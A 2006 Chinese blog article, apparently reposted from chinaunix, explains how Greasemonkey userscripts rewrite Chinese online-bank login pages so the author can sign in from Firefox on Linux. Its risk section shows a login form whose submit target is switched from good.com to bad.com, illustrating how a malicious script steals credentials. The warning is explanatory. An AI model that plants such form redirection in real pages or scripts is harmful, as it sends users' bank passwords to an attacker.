藍森林首頁 | 返回主頁 | 本站地圖 | 站內搜索 | 聯系信箱 |
 您目前的位置﹕首頁 > 自由軟件 > 自由文化


Linux下實現登陸网上銀行方法(結合Firefox瀏覽器)
藍森林 http://www.lslnet.com 2006年5月9日 22:21

Linux + Firefox 登陸网上銀行  巧用Greasemonkey擴展

作者: 馬路遙 maluyao at 163.com 關鍵字: Linux Firefox Greasemonkey 擴展 開發 extension 网上銀行 建設銀行 招商銀行 交通銀行

前言

  本文不是一篇Hacker教程。你必需使用自己的用戶名和密碼登陸銀行,而不是猜測別人的。甚至如果你對Firefox擴展和JavaScript不甚熟悉的話。按本文的例子行動還會有很大風險。

  本文的作者拒絕對本文的正确性提供任何形式的擔保,包括但不限于明示和暗示的。

  Greasemonkey是Firefox 的一种非常強大的擴展,能夠在网也內容讀入之后,頁面顯示在瀏覽器之前執行指定的JavaScript腳本。Greasemonkey 的下載地址。使用方法可以參考如何使用Greasemonkey。本文所介紹的方法,要首先要安裝這個擴展。而且您要仔細查看使用說明,才能夠理解本文所描述的方法。   其實另外一個被廣泛下載的擴展Web Developer ,也能實現本文所描述的功能,但更為复雜。

  我們雖然能成功地以旁門左道登錄网上銀行,但這未必是最好的方法,筆者希望每位從本文得到幫助的讀者,都能給你開戶銀行的webmaser發一封email,要求該行能夠直接支持Firefox。如果對方能夠修改网頁界面支持Firefox,下次評選最佳网行銀行的時候,您就可以考慮投他一票。本文附錄中列出了部分銀行网站webmaster的email地址。

概論

  經常有人說可以在計算机中完全使用Linux生活和工作,但實際上在中國大陸還不能做得到。拿本人來說,我有99.9%的時間都是使用Linux的。不論是寫C或Shell程序,听音樂、看電影、在棋圣道場(http://weiqi.com.tom)看棋譜,或是在Yaoo游戲打橋牌,都絕無問題甚至游刃有余。但仍然有一個重要的原因使我不能脫离Windows 系統,就是Linux無法登陸某些國內的网上銀行。無論如何,我不能和錢過不去。   最近,MS開始禁止盜版Windows進行网上自動更新,這對很多人無疑是一個打擊,這更堅定了我拋棄Windows系統的決心。本人目前的職業是Linux教師,深深地熱甃inux/FreeBSD一類的開源軟件,非常希望能像理查德.斯托爾曼一樣,完全用開源軟件。如果有些做不到,就爭取無限接近。開源軟件的最大优點之一就是可以自己動手編寫一些東西。筆者雖然不是程序員,但也能折騰兩下。

  國內的銀行現在用多如牛毛來形容,應該是一點都不過分的。下面的銀行列表表格摘自 hao123网站

銀行列表略,見pdf版本。

  很多銀行本人根本沒有帳號,所以并不關心。据說“洋”行的网站基本對所有瀏覽器都支持,包括IE 、Firefox、Opera、Safari等。但以前听說過一在英國發生的新聞,某用戶在使用Lynx軟件訪問銀行的時候,竟被怀疑是黑客,導致警察上門。所以說,外國的月亮确實圓一點,但也很有限。

  上表中我標出兩個綠底的,北京銀行和中國銀行。前者可以很好地支持Firefox,后者据同事說可以支持Firefox。這里只能對他們的网站設計和人員表示敬意。   三個藍底的銀行,招商銀行、建設銀行、交通銀行我都有帳號,是不能直接使用FireFox的。其中招商銀行和交通銀行的登錄頁面上有ActiveX控件,不能被Firefox所支持。而建設銀行的頁面,有一個Firefox所無法使用的軟鍵盤。工商銀行我雖然沒帳號,但知道也不兼容FireFox。

  隨机挑選了几個大陸以外的銀行,發現除了招商銀行香港分行以外,都可以使用Firefox。”和國際接軌“的口號大家已經听煩了,從火車票的票价到大學生的學費都如此,下一個接軌的据說是北京的士的車費。但什么時候春風能吹到銀行呢﹖

  网上銀行登錄頁面的作用,在讓客戶提交正确的帳號、密碼以及其他信息。只要我們能夠正确的提交數据,無論頁面采用ActiveX還是ActiveY技術,都不會影響我們使用。下面我們來具体分析一下各家銀行頁面的作用。   能夠提交數据的途徑是修改登錄頁面。例如下列的html代碼。

<form method=post action="http://foo.com/cgi-bin/test.pl"> username:<input name=username type=text><br> password:<input name=password type=password><br> <input name=submit type=submit value="OK"> </form>   如果我們用瀏覽器訪問該頁面并在用戶名和密碼部分填寫zhang3和123.并點擊OK按鈕,就會將數据提交給http://foo.com/cgi-bin/test.pl處理。甚至你可以直接在你的瀏覽器地址欄上直接輸入http://foo.com/cgi-bin/test.pl?username=z3&password=123 ,效果通常相同。   网上銀行比這要复雜一些,因為很多銀行存在一個圖片”驗証碼“,這無法用直接提交的方式發送數据。必需登錄銀行指定的登錄界面。   剛開始研究這個問題的時候,筆者嘗試通過建立一個FireFox的擴展的方式登錄网上銀行,在深入研究了XUL、DOM等文檔后,成功地開發出了自己的擴展,但隨后發現,利用現有的Greaemonkey擴展是個更簡單的方案。   Greasemonkey擴展既然可以運行Javascipt腳本,我們就能夠利用腳本動態修改頁面,使得其能夠被Firefox顯示并且能提交正确的數据。首先分析原因所在,其中最容易的就是建設銀行。

建設銀行

     建行网上銀行的登陸入口

  此頁面的問題在于,如果使用Windows+IE ,當試圖輸入密碼時,會打開一個軟鍵盤來輸入,這有一定的安全性,但也就只能防止某些可以記錄鍵盤輸入的間諜軟件而已,但使用Firefox,就根本不能輸入密碼。

 其部分代碼如下(除去了一些定義外觀的部分):

<td nowrap>証件號碼﹕</td> <td nowrap colspan=3><input name="USERID" type="text" title="証件號碼"></td> <tr> <td nowrap>登錄密碼﹕</td> <td nowrap colspan=3><input id="LOGPASS" name="LOGPASS" type="password" title="登錄密碼" readOnly onKeyDown="Calc.password.value=this.value" onChange="Calc.password.value=this.value" onclick= "password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''"></td> </tr>   核心問題就是在上述代碼中我用紅色標出的readOnly屬性,這使得我們不能夠直接輸入密碼,而只能借助于前文所說的軟鍵盤。   我寫了下面的腳本,用來重寫一個標准的密碼框來取代原有的部分,內容如下:

1.// ==UserScript== 2.// @namespace http://teenblog.org/tiantian 3.// @name ccb Assist 4.// @description ccb Assist 5.// @include https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CLOGIN 6.// ==/UserScript== 7.var passArea=document.getElementsByTagName("td")[104]; 8.passArea.innerHTML='<input id="LOGPASS" name="LOGPASS" type="password" class="textlogin" size="20" minLength="6" maxLength="12" title="password">'; 9.alertMessage='This page was modified by Greasemonkey extension.\nThe extension use a user defined JavaScript.\nThe Content of JavaScript is not related with Greasemonkey.\nBe care to use this.\nCopyright: GPL V2 \nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not logout\n' ; 10.alert(alertMessage);   前4行都是描述性的。第5行指出了本腳本針對的网頁。   第7行得到指定的<td>和</td>之間的內容,并在第8行中替換成我們自己的格式。第9行和第10行是彈出一個關于版權和警告信息的窗口,提醒用戶注意。當然,最后這兩行不是必需的。      把此腳本命名為jianhang.user.js后,直接用Firefox打開。并安裝。   現在用Firefox打開建行的登錄界面,就能輸入卡號和密碼了,正确輸入數据并且提交后,進入了下個界面。      在左上方能正确地看到本人的名字,下方顯示的廣東分行也是正确的(以前在廣東開的戶)。沉浸在喜悅當中的我,馬上點右下的“不使用証書進入”。   唉﹗﹗﹗﹗,只能說十分遺憾。建行网站的內部仍然不支持IE,還的另想辦法。 辦法就是繼續研究html界面,并用适當的內容替換之。因為工作量的關系,筆者放棄了對建設銀行的接續研究。   中國銀行的网上銀行登錄界面同樣也有一個軟鍵盤,但是用戶可以選擇使用或不使用之。從网站界面設計的方面評价,建設銀行無疑是和中國銀行有些差距了。國際話不能光在嘴上說。要落實在行動上。

交通銀行

     接下來我們看看交通銀行,交通銀行的登陸界面

  交行的登陸界面上用一個ActiveX控件輸入密碼,這在Linux + Firefox 的環境下是無法顯示的。我們的辦法是在登陸此界面后,用Firefox 的擴展來修改登陸界面上的內容。重新生成一個Firefox能夠正确顯示的表單(Form),交通銀行的腳本如下:

1.// ==UserScript== 2.// @namespace http://teenblog.org/tiantian 3.// @name JiaoHang Assist 4.// @description JiaoHang Assist 5.// @include https://pbank.95559.com.cn/personbank/common_logon.jsp 6.// ==/UserScript== 7.var addformhead=document.getElementsByTagName('td')[31]; 8.alertMessage='This page was modified by Greasemonkey extension.\nThe extension use a user defined JavaScript.\nThe Content of JavaScript is not related with Greasemonkey.\nBe care to use this.\nPlease input Card Number on "Card Number"\nPlease input your password on "PassWord"\nPlease Input adding code below "Picture Code"\nCopyright: GPL V2 \nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not logout\n JIE JI Card Only\n' ; 9.addformhead.innerHTML='<form id="frmLogon" name="frmLogon" method="post" action=Bank >' + 10. '\n <input type="hidden" name="netType" value="0"/> '+ 11. '\n <input type="hidden" name="language" value="zh_CN"/> '+ 12. '\n <input type="hidden" name="userType" value="02"/> '+ 13. '\nCard Number<input name="cardNo" type="text" maxLength="17" > '+ 14. '\n<br>\nPassWord<input type="password" id="password" name="password" > ' + 15. '\n<br>Picture Code<input name="reqCode" type="text" maxLength="6" size="10" >' + 16. '\n <input type="hidden" name="cardType" value="0" /> '+ 17. 18. '</form>'+ 19. '<a href="javascript:document.getElementById(\'frmLogon\').submit()"><img src="/personbank/images/but-denglu.gif"></a>'; 20.alert(alertMessage);   第8行和第18行定義和顯示了一個對話框,內容是對使用本腳本的客戶机的一個警告信息,不是必要的。第9-19行中我們增加了一個新的表單,能夠提交正确的數据。  雖然界面目前被改的很丑陋,但能夠工作。輸入正确的數据后,可以進入网上銀行,查看自己帳號的情況。

風險分析

  從上面的例子里可以看出,Firefox的擴展功能十分的強大。可以直接對頁面進行修改。但這里也存在相當大的風險。   比如如果某頁面存在一個表單,定義如下:

1.<form method=post action="http://good.com/cgi-bin/test.pl"> 2.用戶名:<input id="username" name=username type=text ><br> 3.密 碼:<input id="password" name=password type=text ><br> 4.<input name=submit type=submit value=”提交"> 5.</form>   這段內容原本會將數据提交到good.com上的test.pl處理,但如果惡意代碼將其改為:

1.<form method=post action="http://bad.com/cgi-bin/test.pl"> 2.用戶名:<input id="username" name=username type=text ><br> 3.密 碼:<input id="password" name=password type=text ><br> 4.<input name=submit type=submit value=”提交"> 5.</form>   這會導致原本應該發送給good.com的數据被發送給bad.com。風險极大。

招商銀行

  相比于上面兩個銀行,招商銀行的難度要高一些。招商銀行使用的ActiveX控件,能夠使得卡號和密碼在提交前就被ActiveX所加密,密文具有一定的隨机性。然后再提交數据。筆者認為這并不是必要的,但毫無疑問,這种机制加大了我工作的難度。      如果能分析出這個加密算法并用JavaScript實現,招商銀行的問題也就解決了。從密碼學的原理來說,已知明文和密文,分析出算法并不是件非常困難的事情。但這需要時間。這個問題的詳細內容,請參考: http://bbs.chinaunix.net/viewthread.php?tid=749579&extra=page%3D2 。

  目前筆者還沒有分析出算法,但使用某种技巧,筆者能針對任意帳號和密碼在自己的電腦上生成密文。這樣雖然未知加密算法。但可以先得到自己帳號密碼的密文內容,然后通過修改网頁的方式提交出去。當然,這种方式暫時只能自學自用,不便公開。事實上,因為招行的网站有很多”楨“(Frame)。修改起來過于麻煩。目前的計划是不久以后注銷掉招商銀行的帳號。

  据說工商銀行的ActiveX也有類似的机制,因為沒有工行帳號,就不准備進一步研究了。但相信也可以通過和招商銀行類似的方式解決。

風險提示和后記

     對于一般的用戶,特別要注意不要安裝來路不明的擴展和腳本,這其中的風險几乎相當于自己給自己安裝一個木馬。因為除了JavaScript語言開發以外,Firefox的擴展還可以使用Java、C/C++等語言開發,能夠實現非常底層的功能,甚至格式化你的硬盤。

  感謝筆者現在的雇主—北大青鳥(北京華源)授權培訓中心,沒有給安排給我太多的工作任務,使得能夠有足夠的時間和精力,深入研究自由軟件的各种技術,回報自由軟件社區。

定稿于2006年5月7日

附錄﹕ 部分不支持FireFox的銀行及其webmaster 的email地址: 中國工商銀行 webmaster@icbc.com.cn 中國農業銀行 95599bj@abchina.com 交通銀行   95559@bankcomm.com 中國建設銀行 首頁上未標明 招商銀行   首頁上未標明

相關下載﹕ Firefox瀏覽器﹕

[PDF格式] Greasemonkey.pdf.gz http://www.lslnet.com/linux/programs/Greasemonkey.pdf.gz

[javascript腳本] script.zip http://www.lslnet.com/linux/programs/script.zip


摘自﹕chinaunix.net



Copyright © 1999-2000 LSLNET.COM. All rights reserved. 藍森林网站 版權所有。 E-mail : webmaster@lslnet.com